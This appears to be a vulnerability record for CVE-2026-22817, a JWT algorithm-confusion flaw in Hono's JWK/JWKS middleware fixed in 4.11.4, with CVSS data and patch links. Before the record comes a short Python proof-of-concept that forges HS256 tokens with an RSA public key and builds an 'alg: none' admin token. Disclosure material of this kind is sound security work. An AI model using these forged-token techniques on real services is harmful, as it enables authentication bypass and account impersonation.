CVE-2026-22817

import jwt # 假设这是服务器的RSA公钥（通常公开） rsa_public_key = '''-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2mKqH... -----END PUBLIC KEY-----''' # 原始JWT（使用RS256算法） original_token = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ' # 攻击步骤1：解码JWT header并修改alg为HS256 header = jwt.get_unverified_header(original_token) print(f"Original header: {header}") # 攻击步骤2：使用RSA公钥作为HMAC密钥伪造HS256 token forged_token = jwt.encode( {"sub": "1234567890", "name": "John Doe", "iat": 1516239022}, rsa_public_key, # 使用公钥作为对称密钥 algorithm="HS256" ) # 攻击步骤3：设置alg为none绕过验证（如果服务器允许） none_algorithm_token = jwt.encode( {"sub": "admin", "name": "Attacker", "iat": 1516239022}, "", algorithm="none" ) print(f"Forged token with HS256: {forged_token}") print(f"Token with none algorithm: {none_algorithm_token}")

{"cve": {"id": "CVE-2026-22817", "sourceIdentifier": "[email protected]", "published": "2026-01-13T20:16:11.570", "lastModified": "2026-01-20T16:48:05.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.11.4, there is a flaw in Hono’s JWK/JWKS JWT verification middleware allowed the JWT header’s alg value to influence signature verification when the selected JWK did not explicitly specify an algorithm. This could enable JWT algorithm confusion and, in certain configurations, allow forged tokens to be accepted. As part of this fix, the JWT middleware now requires the alg option to be explicitly specified. This prevents algorithm confusion by ensuring that the verification algorithm is not derived from untrusted JWT header values. This vulnerability is fixed in 4.11.4."}, {"lang": "es", "value": "Hono es un framework de aplicación web que proporciona soporte para cualquier entorno de ejecución de JavaScript. Antes de la versión 4.11.4, existe una falla en el middleware de verificación de JWT JWK/JWKS de Hono que permitía que el valor 'alg' del encabezado JWT influyera en la verificación de la firma cuando el JWK seleccionado no especificaba explícitamente un algoritmo. Esto podría habilitar la confusión de algoritmos JWT y, en ciertas configuraciones, permitir que se aceptaran tokens falsificados. Como parte de esta corrección, el middleware JWT ahora requiere que la opción 'alg' se especifique explícitamente. Esto previene la confusión de algoritmos asegurando que el algoritmo de verificación no se derive de valores de encabezado JWT no confiables. Esta vulnerabilidad está corregida en la versión 4.11.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "4.11.4", "matchCriteriaId": "0D4B47C2-4F12-40CF-B9D0-51EC76A81F36"}]}]}], "references": [{"url": "https://github.com/honojs/hono/commit/cc0aa7ae327ed84cc391d29086dec2a3e44e7a1f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/honojs/hono/security/advisories/GHSA-f67f-6cw9-8mq4", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}